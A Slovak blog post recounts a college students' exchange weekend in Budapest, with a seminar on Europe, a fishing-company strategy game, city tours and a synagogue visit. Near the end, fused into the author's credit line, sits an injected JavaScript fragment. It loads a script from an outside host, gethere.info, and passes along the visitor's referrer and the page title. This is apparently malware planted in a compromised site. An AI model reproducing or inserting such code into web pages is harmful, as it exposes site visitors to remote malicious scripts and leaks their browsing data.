Študenti kolégií obnovujú medzinárodné spojenectvá

Je posledný februárový piatok a skupinka študentov Kolégia zadychčane dobieha k ivanskej vlakovej stanici, aby stihli vlak do Bratislavy. Nič nezvyčajné, poviete si. No študentov čakala dlhšia cesta ako len do Bratislavy. Ich cieľom bola Budapešť a partnerské Kolégium svätého Ignáca, kde mali stráviť celý víkend.

Niektorí z nás už Budapešť navštívili, pre iných to malo byť prvé zoznámenie. Všetkých nás však spájala nedočkavosť z toho, čo si pre nás naši maďarskí priatelia pripravili a aké to bude.

Cesta vlakom nám ubehla rýchlo, väčšina z nás čítala texty na večerný seminár a niektorých premohla celotýždenná únava a vo vlaku si zdriemli. Po príchode na budapeštiansku vlakovú stanicu nás ohromila jej majestátnosť. Niektorí z nás s jemným úsmevom prehodili pár ironických poznámok na margo tej bratislavskej. Áno, ten rozdiel vám jednoducho hneď „udrie do oka“.

V dave ľudí sme sa postupne snažili rozpoznať známe tváre, ktoré sme poznali z novembra. Nakoniec si nás naši hostitelia našli a po úvodnom zvítaní sme sa spolu s nimi vydali do nášho hotela.

V piatok podvečer sme oficiálne náš program začali seminárom s rektorom budapeštianskeho Kolégia, Dr. Botondom Feledym, o súčasnom stave Európy i o jej ideálnom budúcom smerovaní. Spolu sme sa zamýšľali nad tým, čo vlastne znamenajú hranice, či má zmysel budovať Európu skôr na regionálnej alebo národnej úrovni a akých politikov dnes Európa potrebuje.

Po seminári nás čakala pravá študentská večera: skvelá pizza, popri ktorej sme rozoberali témy zo seminára. Zároveň sme spoznávali ďalších študentov maďarského Kolégia i niekoľko študentov zo slovinského jezuitského kolégia Magis, ktorí, podobne ako my, boli práve na výmennom pobyte. Večer nás čakalo zopár vskutku originálnych zoznamovacích hier. Posledným bodom piatkového programu bola krátka prechádzka večernou Budapešťou a tiež výhľad na mesto z pahorka Gellert, ktorý v mnohom pripomínal náš Slavín. Tam hore sa nám svet na chvíľu zastavil a spolu s maďarskými priateľmi sme sa kochali krásou večernej Pešti.

12801647_1265681403446150_8760615889731802443_n

Náš víkend pokračoval v sobotu dopoludnia simulačnou strategickou hrou Fishbanks. Počiatočné rozpaky z toho, čo nás vlastne čaká, nám pomohol prekonať Béla, ktorý nám vysvetlil hru a zároveň nás v nej sprevádzal. Hra bola zameraná predovšetkým na rozvoj nášho strategického myslenia, vzájomnej kooperácie a pochopenia dynamiky trhu. Našou úlohou bolo v skupinách navrhnúť a fiktívne zrealizovať stratégiu rybárskej spoločnosti, pričom sme mali dosiahnuť čo najväčší zisk a tiež sme museli zohľadniť dlhodobú udržateľnosť svojho projektu, existenciu ostatných spoločností a prípadné ekologické dopady.  Počas troch hodín sme sa teda všetci premenili na obchodných stratégov, ktorí postupne prichádzali na to, že hájiť iba svoje záujmy nie je najlepšie riešenie, a že výhodnejšou bude v konečnom dôsledku spolupráca všetkých tímov. V následnej diskusii sme spolu s Bélom analyzovali stratégie našich skupín a tiež fakt, že okamžitý zisk nemusí znamenať dlhodobý úspech firmy, ako aj to, aké je dôležité včas pochopiť a reagovať na zmeny na trhu.

12794520_1265681653446125_2682001421109268441_n

Po náročnom doobedí sme sa už tešili na oddychovú časť soboty, keďže nás čakal obed v neďalekej reštaurácií a následne hra v centre mesta. Túto časť programu si naši maďarskí kolegovia premysleli naozaj dobre, keďže sme mali počas nej možnosť navštíviť najdôležitejšie historické miesta v centre a zároveň sme sa o nich čo-to dozvedeli.

Sobotný program sme oficiálne ukončili  svätou omšou v angličtine. Následne sme si vychutnali večeru v neďalekom „hipstersky“ ladenom podniku, ktorý nám opäť raz pripomenul našu Bratislavu. Trochu dlhšie čakanie na jedlo nám umožnilo viac sa neformálne porozprávať. Dozvedeli sme sa viac o fungovaní budapeštianskeho Kolégia, o možnostiach štúdia v Maďarsku a priestor si našli aj naše zvedavé otázky o aktuálnej spoločenskej a politickej situácií. Naše debaty pokračovali pri dobrom maďarskom pive v budapeštianskej krčmovej rarite, v tzv. ruin pub-e.

12803270_10205799710133931_5833758421349387341_n

Náš posledný deň-nedeľu, sme strávili predovšetkým oddychovo. Časť z nás si po skvelých hotelových raňajkách vychutnala saunu a časť z nás sa rozhodla opäť navštíviť centrum mesta. Márton, náš maďarský kolega, nás vzal do budapeštianskej synagógy. Majestátnosť tohto miesta, Mártonove rozprávanie o osobnej skúsenosti s bohoslužbou počas sabatu i mnoho pamätníkov obetiam holokaustu, to všetko dodalo našej nedeli špecifickú chuť. Možno to bola chuť tajomnej a dosiaľ nepoznanej blízkosti nás a našich židovských bratov…

Nedeľný obed, ktorý pre nás pripravili študenti Kolégia sv. Ignáca, bol krásnou bodkou za celým víkendom. Posledné rozhovory a posledné poďakovania a mohli sme vyraziť na stanicu. Tam sme sa rozlúčili s chlapcami, ktorí nás po celý víkend sprevádzali. Naše pohľady prezrádzali neistotu, či sa ešte niekedy stretneme, napriek tomu bolo na oboch stranách cítiť radosť a vďačnosť zo spoločne strávených chvíľ.

12791114_10205784519674179_239352690908721069_n

Je posledná februárová nedeľa a študenti Kolégia sa vracajú späť do ivanskeho kaštieľa. Oddýchnutí a obohatení o zážitky, stretnutia i rozhovory, očarení majestátnosťou Budapešti a hlavne pohostinnosťou maďarských priateľov.

 

text: Zuzana Kotvanová | foto: študenti kolégií

študentka KAN7s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;

0 replies

Leave a Reply

Want to join the discussion?
Feel free to contribute!

Pridaj komentár

Vaša e-mailová adresa nebude zverejnená. Vyžadované polia sú označené *